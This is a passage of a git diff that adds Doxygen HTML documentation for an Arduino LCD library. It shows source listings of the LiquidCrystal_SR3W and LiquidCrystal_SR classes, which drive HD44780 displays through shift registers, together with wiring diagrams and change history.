+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SRG.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+00021 // shift register. While it has been tested with a 74HC595N shift register
+00022 // it should also work with other latching shift registers such as the MC14094
+00023 // and the HEF4094
+00024 //
+00025 // This particular driver has been created as generic as possible to enable
+00026 // users to configure and connect their LCDs using just 3 digital IOs from the
+00027 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+00028 // in any configuration. The library is configured by passing the IO pins
+00029 // that control the strobe, data and clock of the shift register and a map
+00030 // of how the shiftregister is connected to the LCD.
+00031 // 
+00032 //
+00033 //   +--------------------------------------------+
+00034 //   |                 MCU                        |
+00035 //   |   IO1           IO2           IO3          |
+00036 //   +----+-------------+-------------+-----------+
+00037 //        |             |             |
+00038 //        |             |             |
+00039 //   +----+-------------+-------------+-----------+
+00040 //   |    Strobe        Data          Clock       |
+00041 //   |          8-bit shift/latch register        | 74HC595N
+00042 //   |    Qa0  Qb1  Qc2  Qd3  Qe4  Qf5  Qg6  Qh7  |
+00043 //   +----+----+----+----+----+----+----+----+----+
+00044 //        |    |    |    |    |    |    |    
+00045 //        |11  |12  |13  |14  |6   |5   |4   (LCD pins)
+00046 //   +----+----+----+----+----+----+----+----+----+
+00047 //   |    DB4  DB5  DB6  DB7  E    Rw   RS        |
+00048 //   |                 LCD Module                 |
+00049 //
+00050 // NOTE: Rw is not used by the driver so it can be connected to GND.
+00051 //
+00052 // The functionality provided by this class and its base class is identical
+00053 // to the original functionality of the Arduino LiquidCrystal library.
+00054 //
+00055 //
+00056 // History
+00057 // 2012.03.29 bperrybap - fixed constructors not properly using Rs
+00058 //                        Fixed incorrect use of 5x10 for default font 
+00059 //                        - now matches original LQ library.
+00060 //                        moved delay to send() so it is per cmd/write vs shiftout()
+00061 //                        NOTE: delay is on hairy edge of working when FAST_MODE is on.
+00062 //                        because of waitUsec().
+00063 //                        There is margin at 16Mhz AVR but might fail on 20Mhz AVRs.
+00064 //                        
+00065 // @author F. Malpartida - fmalpartida@gmail.com
+00066 // ---------------------------------------------------------------------------
+00067 // flags for backlight control
+00068 #include <stdio.h>
+00069 #include <string.h>
+00070 #include <inttypes.h>
+00071 
+00072 #if (ARDUINO <  100)
+00073 #include <WProgram.h>
+00074 #else
+00075 #include <Arduino.h>
+00076 #endif
+00077 #include "LiquidCrystal_SR3W.h"
+00078 
+00079 #include "FastIO.h"
+00080 
+00086 #define LCD_NOBACKLIGHT 0x00
+00087 
+00093 #define LCD_BACKLIGHT   0xFF
+00094 
+00095 
+00096 // Default library configuration parameters used by class constructor with
+00097 // only the I2C address field.
+00098 // ---------------------------------------------------------------------------
+00104 #define EN 4  // Enable bit
+00105 
+00111 #define RW 5  // Read/Write bit
+00112 
+00118 #define RS 6  // Register select bit
+00119 
+00126 #define D4 0
+00127 #define D5 1
+00128 #define D6 2
+00129 #define D7 3
+00130 
+00131 
+00132 
+00133 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)
+00134 {
+00135    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00136 }
+00137 
+00138 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00139                                        uint8_t backlighPin, t_backlighPol pol)
+00140 {
+00141    init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 );
+00142    setBacklightPin(backlighPin, pol);
+00143 }
+00144 
+00145 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe,
+00146                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00147                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00148 {
+00149    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00150 }
+00151 
+00152 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00153                                        uint8_t En, uint8_t Rw, uint8_t Rs, 
+00154                                        uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00155                                        uint8_t backlighPin, t_backlighPol pol)
+00156 {
+00157    init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 );
+00158    setBacklightPin(backlighPin, pol);
+00159 }
+00160 
+00161 
+00162 void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode)
+00163 {
+00164    
+00165    if ( mode != FOUR_BITS )
+00166    {
+00167       write4bits( (value >> 4), mode ); // upper nibble
+00168    }   
+00169    write4bits( (value & 0x0F), mode); // lower nibble
+00170 
+00171 
+00172 #if (F_CPU <= 16000000)
+00173    // No need to use the delay routines on AVR since the time taken to write
+00174    // on AVR with SR pin mapping even with fio is longer than LCD command execution.
+00175    waitUsec(37); //goes away on AVRs
+00176 #else
+00177    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00178 #endif
+00179 
+00180 }
+00181 
+00182 
+00183 void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00184 {
+00185    _backlightPinMask = ( 1 << value );
+00186    _backlightStsMask = LCD_NOBACKLIGHT;
+00187    _polarity = pol;
+00188    setBacklight (BACKLIGHT_OFF);     // Set backlight to off as initial setup
+00189 }
+00190 
+00191 void LiquidCrystal_SR3W::setBacklight ( uint8_t value )
+00192 {
+00193    // Check if backlight is available
+00194    // ----------------------------------------------------
+00195    if ( _backlightPinMask != 0x0 )
+00196    {
+00197       // Check for polarity to configure mask accordingly
+00198       // ----------------------------------------------------------
+00199       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00200            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00201       {
+00202          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00203       }
+00204       else 
+00205       {
+00206          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00207       }
+00208       loadSR( _backlightStsMask );
+00209    }
+00210 }
+00211 
+00212 
+00213 // PRIVATE METHODS
+00214 // -----------------------------------------------------------------------------
+00215 
+00216 int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, 
+00217                              uint8_t Rs, uint8_t Rw, uint8_t En,
+00218                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00219 {
+00220    _data       = fio_pinToBit(data);
+00221    _clk        = fio_pinToBit(clk);
+00222    _strobe     = fio_pinToBit(strobe);
+00223    _data_reg   = fio_pinToOutputRegister(data);
+00224    _clk_reg    = fio_pinToOutputRegister(clk);
+00225    _strobe_reg = fio_pinToOutputRegister(strobe);
+00226    
+00227    // LCD pin mapping
+00228    _backlightPinMask = 0;
+00229    _backlightStsMask = LCD_NOBACKLIGHT;
+00230    _polarity = POSITIVE;
+00231    
+00232    _En = ( 1 << En );
+00233    _Rw = ( 1 << Rw );
+00234    _Rs = ( 1 << Rs );
+00235    
+00236    // Initialise pin mapping
+00237    _data_pins[0] = ( 1 << d4 );
+00238    _data_pins[1] = ( 1 << d5 );
+00239    _data_pins[2] = ( 1 << d6 );
+00240    _data_pins[3] = ( 1 << d7 );
+00241    
+00242    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00243    
+00244    return (1);
+00245 }
+00246 
+00247 void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode)
+00248 {
+00249    uint8_t pinMapValue = 0;
+00250    
+00251    // Map the value to LCD pin mapping
+00252    // --------------------------------
+00253    for ( uint8_t i = 0; i < 4; i++ )
+00254    {
+00255       if ( ( value & 0x1 ) == 1 )
+00256       {
+00257          pinMapValue |= _data_pins[i];
+00258       }
+00259       value = ( value >> 1 );
+00260    }
+00261    
+00262    // Is it a command or data
+00263    // -----------------------
+00264    mode = ( mode == DATA ) ? _Rs : 0;
+00265    
+00266    pinMapValue |= mode | _backlightStsMask;
+00267    loadSR ( pinMapValue | _En );  // Send with enable high
+00268    loadSR ( pinMapValue); // Send with enable low
+00269 }
+00270 
+00271 
+00272 void LiquidCrystal_SR3W::loadSR(uint8_t value) 
+00273 {
+00274    // Load the shift register with information
+00275    fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST);
+00276    
+00277    // Strobe the data into the latch
+00278    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00279    {
+00280       fio_digitalWrite_HIGH(_strobe_reg, _strobe);
+00281       fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW);
+00282    }
+00283 }
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h.html new file mode 100644 index 0000000..2a5f588 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h.html @@ -0,0 +1,96 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Classes
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR3W
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h_source.html new file mode 100644 index 0000000..5f3dbed --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8h_source.html @@ -0,0 +1,201 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 7.3.2012.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR3W.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using a generic SHIFT REGISTER extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching
+00021 // shift register. While it has been tested with a 74HC595N shift register
+00022 // it should also work with other latching shift registers such as the MC14094
+00023 // and the HEF4094
+00024 //
+00025 // This particular driver has been created as generic as possible to enable
+00026 // users to configure and connect their LCDs using just 3 digital IOs from the
+00027 // AVR or Arduino, and connect the LCD to the outputs of the shiftregister
+00028 // in any configuration. The library is configured by passing the IO pins
+00029 // that control the strobe, data and clock of the shift register and a map
+00030 // of how the shiftregister is connected to the LCD.
+00031 // 
+00032 //
+00033 //   +--------------------------------------------+
+00034 //   |                 MCU                        |
+00035 //   |   IO1           IO2           IO3          |
+00036 //   +----+-------------+-------------+-----------+
+00037 //        |             |             |
+00038 //        |             |             |
+00039 //   +----+-------------+-------------+-----------+
+00040 //   |    Strobe        Data          Clock       |
+00041 //   |          8-bit shift/latch register        | 74HC595N
+00042 //   |    Qa0  Qb1  Qc2  Qd3  Qe4  Qf5  Qg6  Qh7  |
+00043 //   +----+----+----+----+----+----+----+----+----+
+00044 //        |    |    |    |    |    |    |    
+00045 //        |11  |12  |13  |14  |6   |5   |4   (LCD pins)
+00046 //   +----+----+----+----+----+----+----+----+----+
+00047 //   |    DB4  DB5  DB6  DB7  E    Rw   RS        |
+00048 //   |                 LCD Module                 |
+00049 //
+00050 // NOTE: Rw is not used by the driver so it can be connected to GND.
+00051 //
+00052 // The functionality provided by this class and its base class is identical
+00053 // to the original functionality of the Arduino LiquidCrystal library.
+00054 //
+00055 //
+00056 // @author F. Malpartida - fmalpartida@gmail.com
+00057 // ---------------------------------------------------------------------------
+00058 #ifndef _LIQUIDCRYSTAL_SR3W_H_
+00059 #define _LIQUIDCRYSTAL_SR3W_H_
+00060 
+00061 #include <inttypes.h>
+00062 #include "LCD.h"
+00063 #include "FastIO.h"
+00064 
+00065 
+00066 class LiquidCrystal_SR3W : public LCD 
+00067 {
+00068 public:
+00069    
+00090    LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe);
+00091    // Constructor with backlight control
+00092    LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00093                       uint8_t backlighPin, t_backlighPol pol);   
+00094    
+00112    LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, 
+00113                       uint8_t En, uint8_t Rw, uint8_t Rs, 
+00114                       uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+00115    // Constructor with backlight control
+00116    LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe,
+00117                       uint8_t En, uint8_t Rw, uint8_t Rs, 
+00118                       uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00119                       uint8_t backlighPin, t_backlighPol pol);
+00120    
+00133    virtual void send(uint8_t value, uint8_t mode);
+00134    
+00143    void setBacklightPin ( uint8_t value, t_backlighPol pol );
+00144    
+00154    void setBacklight ( uint8_t value );
+00155    
+00156 private:
+00157    
+00163    int  init(uint8_t data, uint8_t clk, uint8_t strobe, 
+00164              uint8_t Rs, uint8_t Rw, uint8_t En,
+00165              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00166    
+00175    void write4bits(uint8_t value, uint8_t mode);
+00176    
+00183    void loadSR(uint8_t value);
+00184    
+00185    
+00186    fio_bit      _strobe;           // shift register strobe pin
+00187    fio_register _strobe_reg;       // SR strobe pin MCU register
+00188    fio_bit      _data;             // shift register data pin
+00189    fio_register _data_reg;         // SR data pin MCU register
+00190    fio_bit      _clk;              // shift register clock pin
+00191    fio_register _clk_reg;          // SR clock pin MCU register
+00192    uint8_t      _En;               // LCD expander word for enable pin
+00193    uint8_t      _Rw;               // LCD expander word for R/W pin
+00194    uint8_t      _Rs;               // LCD expander word for Register Select pin
+00195    uint8_t      _data_pins[4];     // LCD data lines
+00196    uint8_t      _backlightPinMask; // Backlight IO pin mask
+00197    uint8_t      _backlightStsMask; // Backlight status mask
+00198    
+00199 };
+00200 
+00201 #endif
+00202 
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp.html new file mode 100644 index 0000000..8eb1854 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp.html @@ -0,0 +1,94 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp_source.html new file mode 100644 index 0000000..9a78cc1 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8cpp_source.html @@ -0,0 +1,293 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR.h
+00013 //  Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 // The functionality provided by this class and its base class is identical
+00021 // to the original functionality of the Arduino LiquidCrystal library and can
+00022 // be used as such.
+00023 //
+00024 // Modified to work serially with the shiftOut() function, an 8-bit
+00025 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00026 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+00027 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00028 // I used 74LS164, for the reason that's what I had at hand.
+00029 //
+00030 // Connection description:
+00031 //
+00032 // SR output:
+00033 // Bit  #0   - N/C - not connected, used to hold a zero
+00034 // Bit  #1   - N/C
+00035 // Bit  #2   - connects to RS (Register Select) on the LCD
+00036 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+00037 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00038 //
+00039 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
+00040 // If not using Enable, the Data pin is used for the enable signal by defining
+00041 // the same pin for Enable as for Data. Data and Clock outputs/pins goes to
+00042 // the shiftregister.
+00043 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00044 // Busy Flag (BF, data bit D7) is not read.
+00045 //
+00046 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00047 //
+00048 //
+00049 // History
+00050 // 2012.03.29  bperrybap - Added delays for faster fio shiftout (it got too fast)
+00051 //             AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32.
+00052 //             Added code to support indicating two wire mode by using enable=data pin
+00053 //             (documentation indicated this as working)
+00054 //             Fixed incorrect use of 5x10 for default font - now matches original LQ library.
+00055 //             can now eliminate enable pin in constructor for two wire mode.
+00056 // 2012.01.16  Florian Fida - faster digitalWrite/shiftOut
+00057 // 2011.10.29  fmalpartida - adaption of the library to the LCD class hierarchy.
+00058 // 2011.07.02  Fixed a minor flaw in setCursor function. No functional change, 
+00059 //             just a bit more memory efficient.
+00060 //             Thanks to CapnBry (from google code and github) who noticed it.
+00061 //             URL to his version of shiftregLCD:
+00062 //             https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+00063 // 2009.07.30  raron - minor corrections to the comments.
+00064 //             Fixed timing to datasheet safe. Fixed keyword highlights.
+00065 // 2009.07.28  Mircho / raron - a new modification to the schematics, and a
+00066 //             more streamlined interface
+00067 // 2009.07.27  Thanks to an excellent suggestion from mircho at the Arduino
+00068 //             playgrond forum, the number of wires now required is only two!
+00069 // 2009.07.25  raron - Fixed comments. I really messed up the comments before 
+00070 //             posting this, so I had to fix it.
+00071 //             Renamed a function, but no improvements or functional changes.
+00072 // 2009.07.23  Incorporated some proper initialization routines
+00073 //             inspired (lets say copy-paste-tweaked) from LiquidCrystal
+00074 //             library improvements from LadyAda.
+00075 // 2009.05.23  raron - first version, but based mostly (as in almost verbatim)
+00076 //             on the "official" LiquidCrystal library.
+00077 //
+00078 //
+00079 // @author F. Malpartida - fmalpartida@gmail.com
+00080 // ---------------------------------------------------------------------------
+00081 #include <stdio.h>
+00082 #include <string.h>
+00083 #include <inttypes.h>
+00084 
+00085 #if (ARDUINO <  100)
+00086 #include <WProgram.h>
+00087 #else
+00088 #include <Arduino.h>
+00089 #endif
+00090 #include "LiquidCrystal_SR.h"
+00091 
+00092 #include "FastIO.h"
+00093 
+00094 
+00095 // CONSTRUCTORS
+00096 // ---------------------------------------------------------------------------
+00097 // Assuming 1 line 8 pixel high font
+00098 LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, 
+00099                                     uint8_t enable ) 
+00100 {
+00101         init ( srdata, srclock, enable, 1, 0 );
+00102 }
+00103 
+00104 
+00105 // PRIVATE METHODS
+00106 // ---------------------------------------------------------------------------
+00107 
+00108 //
+00109 // init
+00110 void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, 
+00111                             uint8_t lines, uint8_t font)
+00112 {
+00113    // Initialise private variables
+00114    _two_wire = 0;
+00115    
+00116    _srDataRegister = fio_pinToOutputRegister(srdata);
+00117    _srDataBit = fio_pinToBit(srdata);
+00118    _srClockRegister = fio_pinToOutputRegister(srclock);
+00119    _srClockBit = fio_pinToBit(srclock);
+00120    
+00121    if ((enable == TWO_WIRE) || (enable == srdata))
+00122    {
+00123       _two_wire = 1;
+00124       _srEnableRegister = _srDataRegister;
+00125       _srEnableBit = _srDataBit;
+00126    }
+00127    else
+00128    {
+00129       _srEnableRegister = fio_pinToOutputRegister(enable);
+00130       _srEnableBit = fio_pinToBit(enable);
+00131    }
+00132    
+00133    // Configure control pins as outputs
+00134    // ------------------------------------------------------------------------
+00135    
+00136    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00137 }
+00138 
+00139 //
+00140 // shiftIt
+00141 void LiquidCrystal_SR::shiftIt(uint8_t val)
+00142 {
+00143    if (_two_wire)
+00144    {
+00145       // Clear to get Enable LOW
+00146       fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit);
+00147    }
+00148    fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST);
+00149    
+00150    // LCD ENABLE PULSE
+00151    //
+00152    // While this library is written with a shift register without an output
+00153    // latch in mind, it can work in 3-wire mode with a shiftregister with a
+00154    // latch. The shiftregister latch pin (STR, RCL or similar) is then
+00155    // connected to the LCD enable pin. The LCD is (very likely) slower
+00156    // to read the Enable pulse, and then reads the new contents of the SR.
+00157    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00158    {
+00159       fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit);
+00160       waitUsec (1);         // enable pulse must be >450ns               
+00161       fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW);
+00162    } // end critical section
+00163 }
+00164 
+00165 // PUBLIC METHODS
+00166 // ---------------------------------------------------------------------------
+00167 
+00168 
+00169 /************ low level data pushing commands **********/
+00170 //
+00171 // send
+00172 void LiquidCrystal_SR::send(uint8_t value, uint8_t mode)
+00173 {
+00174    // Divide byte in two nibbles include the RS signal
+00175    // and format it for shiftregister output wiring to the LCD
+00176    // We are only interested in my COMMAND or DATA for myMode
+00177    uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00178    
+00179    if ( mode != FOUR_BITS )
+00180    {
+00181       shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble
+00182    }
+00183 
+00184    shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble
+00185    /*
+00186     * Add some delay since this code is so fast it needs some added delay
+00187     * even on AVRs because the shiftout is shorter than the LCD command execution time.
+00188     */
+00189 #if (F_CPU <= 16000000)
+00190    if(_two_wire)
+00191         delayMicroseconds ( 10 );
+00192    else
+00193         delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer
+00194 #else
+00195    delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00196 #endif
+00197 
+00198 }
+00199 
+00200 //
+00201 // setBacklightPin
+00202 void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00203 { }
+00204 
+00205 //
+00206 // setBacklight
+00207 void LiquidCrystal_SR::setBacklight ( uint8_t mode ) 
+00208 { }
+00209 
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h.html new file mode 100644 index 0000000..5e7f2d7 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h.html @@ -0,0 +1,148 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Classes | +Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + +

+Classes

class  LiquidCrystal_SR

+Defines

#define SR_EN_BIT   0x80
#define SR_RS_BIT   0x04
#define TWO_WIRE   204
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   0x80
+
+
+ +

Definition at line 92 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   0x04
+
+
+ +

Definition at line 91 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define TWO_WIRE   204
+
+
+ +

Definition at line 90 of file LiquidCrystal_SR.h.

+ +
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h_source.html new file mode 100644 index 0000000..71640bf --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h_source.html @@ -0,0 +1,210 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR.h
+00013 //  Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 // The functionality provided by this class and its base class is identical
+00021 // to the original functionality of the Arduino LiquidCrystal library and can
+00022 // be used as such.
+00023 //
+00024 // Modified to work serially with the shiftOut() function, an 8-bit
+00025 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00026 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+00027 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00028 // I used 74LS164, for the reason that's what I had at hand.
+00029 //
+00030 // Connection description:
+00031 //
+00032 // SR output:
+00033 // Bit  #0   - N/C - not connected, used to hold a zero
+00034 // Bit  #1   - N/C
+00035 // Bit  #2   - connects to RS (Register Select) on the LCD
+00036 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+00037 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00038 //
+00039 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
